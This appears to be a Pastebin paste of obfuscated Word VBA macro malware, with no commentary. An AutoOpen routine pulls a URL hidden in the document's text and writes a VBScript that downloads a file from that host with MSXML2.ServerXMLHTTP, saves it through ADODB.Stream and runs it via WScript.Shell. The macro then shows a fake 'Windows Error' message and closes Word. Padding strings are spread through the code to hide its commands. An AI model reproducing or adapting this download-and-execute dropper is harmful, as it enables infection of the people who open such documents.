Advertisement
Guest User

Untitled

a guest
Dec 9th, 2016
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. Public Sub AutoOpen()
  2. CommandButton1_Click
  3. End Sub
  4. Public Sub OpUYHjkk(x)
  5. Shell x, 1
  6. End Sub
  7. Function Delegatherd() As String
  8. Dim Sukajet As Range
  9. Dim Deloubfg As String, Alamoer3 As String
  10. Dim Daneczka As String
  11. Deloubfg = Lepikg("ht987654tp")
  12. Alamoer3 = "\"
  13. Set Sukajet = ActiveDocument.Content
  14. Sukajet.Find.ClearFormatting
  15. Sukajet.Find.Replacement.ClearFormatting
  16. With Sukajet.Find
  17. .Text = Deloubfg & "*" & Alamoer3
  18. .Replacement.Text = ""
  19. .Forward = True
  20. .Wrap = wdFindStop
  21. .Format = False
  22. .MatchWholeWord = False
  23. .MatchWildcards = True
  24.  
  25. .MatchAllWordForms = False '
  26. End With
  27.  
  28. Sukajet.Find.Execute
  29. Daneczka = Sukajet.Text
  30. Daneczka = Replace(Daneczka, "\", "")
  31. Daneczka = Trim(Daneczka)
  32. Delegatherd = f
  33.  
  34.  
  35. End Function
  36.  
  37. Function xxs()
  38. xxs = """"
  39. End Function
  40.  
  41.  
  42.  
  43. Private Sub CommandButton1_Click()
  44. Dim OSx2, dok2
  45.  
  46. OSx2 = Lepikg("wardx987654s.v987654bs")
  47. Open OSx2 For Output As #2
  48. dok2 = Lepikg("e = g(" & xxs & "~$wind987654ows/*/./*/p987654if" & xxs & "): Set a = CO(" & xxs & "M/*/S/*/X/*/M/*/L/*/2/*/.S/*/er/*/ve/*/r/*/XM/*/LH/*/TT/*/P" & xxs & "): a.ope987654n g(" & xxs & "G/*/E/*/T/*/" & xxs & "), " & xxs)
  49. dok2 = dok2 & Delegatherd
  50. dok2 = Lepikg(dok2 & xxs & ", false: a.se987654nd(): Set b = CO(" & xxs & "A/*/D/*/O/*/D/*/B/*/./*/S/*/t/*/r/*/e/*/am" & xxs & "): b.Ope987654n: b.Typ987654e = 1 : b.Wri987654te a.Resp987654onseB987654ody: b.Posit987654ion = 0 : Set c = CO(" & xxs & "S/*/c/*/ripting/*/./*/F/*/i/*/l/*/e/*/S/*/y/*/s/*/t/*/e/*/m/*/O/*/b/*/j/*/e/*/ct" & xxs & "): If c.Filee987654xists(e) Then c.Dele987654teFil987654e e: End If: b.sa987654veTo987654File e: b.Close: Dim d: Set d = CO(" & xxs & "W/*/S/*/c/*/r/*/i/*/p/*/t/*/./*/S/*/h/*/e/*/ll" & xxs & "): d.Run(e): Function co(Name) : set co = Cr987654eateObje987654ct(g(Name)): ENd function: Function g(f): g = Rep987654lace(f," & xxs & "/*/" & xxs & "," & xxs & "" & xxs & "): end function")
  51. Print #2, dok2
  52. Close #2
  53. OpUYHjkk Lepikg("wsc987654ript " & xxs & OSx2 & xxs)
  54. Dim title As String
  55. title = Lepikg("Wind987654ows Er987654ror")
  56. Dim msg As String
  57. Dim Error As Integer
  58. msg = Lepikg("Fa987654iled loa987654di987654ng docum987654ent")
  59. Error = MsgBox(msg, 16, title)
  60. Application.Quit
  61. End Sub
  62.  
  63.  
  64.  
  65. Function Lepikg(s As String) As String
  66. Lepikg = Replace(s, "987654", "")
  67. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement